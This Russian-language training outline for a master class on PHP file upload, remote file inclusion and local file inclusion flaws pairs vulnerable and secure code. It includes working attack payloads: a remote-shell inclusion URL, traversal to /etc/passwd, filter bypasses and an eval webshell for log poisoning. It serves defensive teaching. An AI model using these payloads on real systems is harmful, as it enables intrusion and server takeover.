Семинар пройдет в формате мастер-класса. Слушатели получат как теоритические, так и практические знания.
В рамках мастер-класса будут рассмотрены уязвимости :
• Unrestricted File Upload
• Remote File Inclusion
• Local File Inclusion
Во время мастер-класса будут рассмотрены теоретические аспекты, вышеуказанных уязвимостей, приведены примеры уязвимого исходного кода.
Слушателям будут продемонстрированы примеры эксплуатации уязвимостей, техника обхода различных фильтраций.
Кроме того, будут приведены примеры безопасного написания сценариев.
Так же у каждого будет возможность применить полученные знания на практике.
2. Выполнение команд на сервере
Выполнение произвольного кода – одна из наиболее
опасных уязвимостей, встречаемая в веб-приложениях.
Способы выполнения:
Загрузка сценария на сервер
Remote File Inclusion (RFI)
Local File Inclusion (LFI)
Внедрение произвольного кода в функции
eval(), assert(), preg_replace() с модификатором /e
Внедрение произвольных команд в функции system(), exec() и
т.д.
Сериализация: serialize/unserialize
И т.д.
3. Инструментарий
Наиболее удобный инструмент: Mozilla Firefox + плагины.
В Mozilla Firefox необходимо вносить некоторые изменения, чтобы
кодирование одинарной кавычки не производилось.
4. Инструментарий
Рекомендуемые плагины:
Tamper Data – позволяет перехватывать отправляемый
браузером HTTP-запрос и вносить в него изменения
Live HTTP headers – обеспечивает удобный просмотр и
отправку HTTP-запросов
HackBar – позволяет отправлять POST параметры, кодировать
символы, содержит базовые вектора атаки
Cookies Manager+ – удобный редактор COOKIE-параметров
Modify Headers – позволяет добавлять или изменять HTTP
заголовки на лету
7. Загрузка сценария на сервер
Загрузка произвольных файлов – уязвимость, позволяющая
злоумышленнику загружать на сервер файлы с
произвольным контентом и/или файлы произвольного
расширения.
Как правило, уязвимость возникает из-за некорректной проверки
расширения загружаемого файла.
Некорректные способы проверки загружаемых файлов:
Проверка MIME-типа загружаемого файла вместо проверки
расширения файла
Проверка расширения файла методом черного списка
Другие ошибки…
Кроме того успешной эксплуатации уязвимости способствует
небезопасно сконфигурированный веб-сервер.
8. Проверка MIME-типа загружаемого файла
Пример проверки:
<?php
$imageTypes = array("image/gif", "image/jpeg", "image/png");
if(isset($_FILES["image"])) {
if(!in_array($_FILES["image"]["type"], $imageTypes)) {
die("Hacking Attempt!");
}
copy($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["name"]}");
}
?>
Проблема в том, что тип загружаемого файла легко подделать – т.к. он
указывается браузером в HTTP-запросе. А что указывается браузером, то без
труда может быть изменено пользователем.
11. Проверка расширения файла методом черного списка
Еще один небезопасный способ проверки – проверка
методом черного списка:
Суть проверки – не
допускать до загрузки
файлы, расширение
которых попало в черный
список.
12. Проверка расширения файла методом черного списка
Пример проверки:
<?php
if(isset($_FILES["image"])) {
if(preg_match('#.((php)|(php3)|(php4)|(php5))$#i',
$_FILES["image"]["name"])
){
die("Hacking Attempt!");
}
copy($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["n
ame"]}");
}
?>
Проверка черным ящиком не обеспечивает должный уровень защиты –
всегда найдется какое-то расширение, которое не вошло в список.
13. Различные ошибки
Некорректное использование функции stripos():
Функция stripos() - возвращает позицию первого вхождения подстроки без учета регистра
Функция strripos() - возвращает позицию последнего вхождения подстроки без учета
регистра
<?php
if(isset($_FILES["image"])) {
if(stripos($_FILES["image"]["name"], ".php")) {
die("Hacking Attempt!");
}
copy($_FILES["image"]["tmp_name"], «images/{$_FILES["image"]["name"]}");
}
?>
При загрузке файла с именем .php (т.е. все имя файла – это его расширение)
функция strpos() вернет значение 0. Соответственно условие не выполнится
и проверка будет пройдена.
Аналогичный результат будет и при использовании функции strripos().
14. Различные ошибки
Ошибки в регулярных выражениях:
<?php
if(isset($_FILES["image"])) {
if(preg_match('#.jpg#i', $_FILES["image"]["name"])) {
copy($_FILES["image"]["tmp_name"], "images/{$_FILES["image"]["n
ame"]}");
}
}
?>
В приведенном примере имя загружаемого файла проверяется на
наличие строки .jpg, но регулярное выражение составлено не
правильно – пропущен управляющий символ $, указывающий на
конец строки.
В результате сценарий с именем shell.jpg.php будет успешно
загружен.
15. Уязвимая/безопасная конфигурация
Возможность выполнения PHP-сценариев в каталогах, доступных
для записи – следствие уязвимой конфигурации. Такая
возможность позволяет злоумышленнику в результате
эксплуатации ряда уязвимостей загрузить веб-шелл.
Возможность выполнения PHP-сценариев отключается путем
конфигурирования веб-сервера и PHP. Пример конфигурации:
<Directory "/var/www/uploads">
php_admin_value engine off
</Directory>
В результате сценарии, находящиеся в каталоге
/var/www/uploads, выполняться не будут.
16. Безопасная проверка
Безопасная проверка – проверка методом белого списка.
<?php
if(isset($_FILES["image"])) {
if(preg_match('#^[a-z0-9-_]+.((jpg)|(png)|(bmp))$#i',
$_FILES["image"]["name"])
){
move_uploaded_file($_FILES["image"]["tmp_name"],
"images/{$_FILES["image"]["name"]}");
}
}
?>
В приведенном коде разрешена загрузка только тех файлов,
расширение которых .jpg, .png и .bmp.
18. Remote File Inclusion
Remote File Inclusion – уязвимость позволяющая
подключать удаленные файлы и тем самым выполнять
произвольный код.
Пример уязвимого кода:
<?php
include("{$_GET["page"]}.inc");
?>
Эксплуатация:
index.php?page=http://hack.ru/shell.txt?
Аргумент функции include() примет вид:
http://hack.ru/shell.txt?.inc
Видно, что .inc будет передаваться как GET-параметр и не помешает
удаленному подключению файла.
19. Remote File Inclusion
Для эксплуатации данной уязвимости необходимо чтобы в
настройках PHP было разрешено удаленное подключение
сценариев:
allow_url_include = On
Нередко встречается способ фильтрации, заключающийся в
проверке имени подключаемого файла на наличие строки http://.
Разумеется такой способ не обеспечивает должный уровень защиты, т.к.
остается возможность использовать другие протоколы:
ftp://, https://, ftps://, tftp://.
21. Local File Inclusion
Local File Inclusion – уязвимость позволяющая подключать
файлы, расположенные на уязвимом сервере и тем самым
выполнять произвольный код.
Как правило, уязвимость возникает из-за некорректной проверки
загружаемого файла
Эксплуатация LFI сводится к трем задачам:
Отбрасывание постфикса
Выход за каталог
Поиск файлов, в которые можно внедрить PHP-код
Как и в случае с загрузкой произвольных файлов – уязвимая
конфигурация упрощает эксплуатацию уязвимости.
22. Как отбросить постфикс?
include("pages/{$_GET["page"]}.txt");
Используя Null Byte:
http://site.ru/index.php?page=../../../../../../etc/passwd%00
В результате постфикс .txt будет отброшен и можно будет подключить
файл с произвольным расширением.
Но если в настройках PHP включена опция magic_quotes_gpc, то Null Byte
будет экранироваться, и отбросить постфикс уже не получится.
23. Как отбросить постфикс?
Используя усечение пути, подключаемого файла:
Более сложный способ, но нету зависимости от опции magic_quotes_gpc.
Суть сводится к тому, что интерпретатор PHP в зависимости от платформы
имеет ограничение на длину пути, определяемое константой MAX_PATH, в
результате чего все символы, находящиеся за пределами этого
значения, отбрасываются.
Существуют следующие ограничения:
Версия PHP < 5.3
Код должен выглядеть следующим образом:
include("pages/{$_GET["page"]} .txt");
include("{$_GET["page"]}.txt");
Но не так:
include("./{$_GET["page"]}.txt");
include("../{$_GET["page"]}.txt");
include("/var/www/{$_GET["page"]}.txt");
24. Как отбросить постфикс?
Используя усечение пути, подключаемого файла:
Пример эксплуатации:
http://site.ru/index.php?page=images/../../../../../etc///////...много...//
////passwd
В результате будет подключен файл /etc/passwd
При этом следует учесть еще одну особенность, а именно длину строки:
/var/www/+images/../../../../../etc///////...много...//////passwd =
4095
Т.е. в идеале нужно знать полный путь до веб-каталога, в котором
расположен уязвимый сценарий. Узнать его можно из сообщений об
ошибке.
Но на практике можно просто подобрать необходимое число слешей.
Возможны и другие зависимости: операционная система, файловая
система и т.д.
25. Как выйти за каталог?
Различные фильтрации могут препятствовать выходу за каталог.
Наиболее частые случаи:
Фильтрация ../
<?php include(str_replace("../", "", $_GET["page"]).".inc"); ?>
../../../etc/passwd --> фильтрация --> etc/passwd --> fail
Но такой фильтрации не достаточно – она не рекурсивная:
..././..././..././etc/passwd --> фильтрация --> ../../../etc/passwd --> profit
26. Как выйти за каталог?
Различные фильтрации могут препятствовать выходу за каталог.
Наиболее частые случаи:
Фильтрация с помощью регулярного выражения
$page = preg_replace("#^.*/#", "", $_GET["page"]);
include("{$page}.inc");
../../../etc/passwd --> фильтрация --> passwd --> fail
В регулярном выражение используется метасимвол . (точка), заменяющий
любые символы.
Любые, за исключением переноса строки.
%0a/../../etc/passwd --> фильтрация --> %0a/../../etc/passwd --> profit
Для корректной работы регулярного выражения необходимо использовать
модификатор s: "#^.+/#s"
27. Какие файлы подключать?
Файлы логов
/var/log/apache2/access.log
/var/log/apache2/error.log
...
Чтобы записать код в файл логов, достаточно обратиться по адресу:
http://site.ru/<?php @eval($_GET[ev]); ?>
Используя при этом URL кодирование:
http://site.ru/%3C%3Fphp%20@eval%28%24_GET%5Bev%5D%29%3B%
20%3F%3E
28. Какие файлы подключать?
Файлы сессий
/tmp/sess_70432162ce1fefbe91687474f0abcca3
При вызове функции session_start() на сервере создается файл, в
который помещаются данные, хранящиеся в массиве _SESSION.
Как правило, среди этих данных: логин, имя пользователя, email
адрес, используемый язык и т.д.
Нужно записать PHP-код в файл сессии, для этого следует заменить
данные (логин, имя пользователя и т.д.) написав вместо них внедряемый
код, а затем подключить файл сессии.
29. Какие файлы подключать?
Загружаемый контент
«Картинки» с расширением .jpg сами по себе не представляют
ценности, но используя уязвимость LFI, их можно подключать, и тем
самым выполнять произвольный код.
LFI
30. Какие файлы подключать?
Сценарии системы администрирования
Достаточно распространенный случай, когда доступ к системе
администрирования ограничен средствами веб-сервера (например, по IP
адресу или с помощью basic-аутентификации).
Пример:
На сайте site.ru доступ к системе администрирования /admin/ ограничен с
помощью basic-аутентификации. Данные используемые для
аутентификации находятся в файлах .htaccess и .htpasswd.
На первый взгляд подключить файлы .htaccess и .htpasswd, и в
результате узнать логин и хеш пароля, вполне разумное действие, но
пароль к хешу еще нужно будет подобрать! А это как правило
ресурсоемкая задача!
Можно сделать проще - подключить сами сценарии системы
администрирования и тем самым обойти механизмы аутентификации и
авторизации.
http://site.ru/index.php?page=../admin/index.php = profit!
31. Уязвимая/безопасная конфигурация
Возможность обращаться (просматривать, удалять, изменять и т.д.)
к файлам и каталогам, находящимся за пределами каталога веб-
приложения – следствие уязвимой конфигурации.
Каждое самостоятельное веб-приложение необходимо изолировать
от других веб-приложений, находящихся на том же сайте.
Это можно сделать, задавая значение опции PHP open_basedir для
каждого отдельного веб-приложения:
http://site.ru/forum/ - например, форум – самостоятельное веб-приложение
<Directory "/var/www/forum">
php_admin_value open_basedir "/var/www/forum/"
</Directory>
Такая конфигурация значительно усложнит эксплуатацию ряда
уязвимостей (Local File Inclusion, чтение произвольных файлов и
т.д.)
32. Безопасная проверка
Безопасная проверка – проверка имени файла на наличие в нем
служебных символов
if(preg_match('#[^a-z0-9-_]#i', $page)) {
die("Hacking Attempt!");
}
include("{$page}.inc");
В данном примере при попытке указать в имени файла символы
отличные от A-Z, a-z, 0-9 и символов «-» и «_» выполнение
PHP-сценария будет прервано.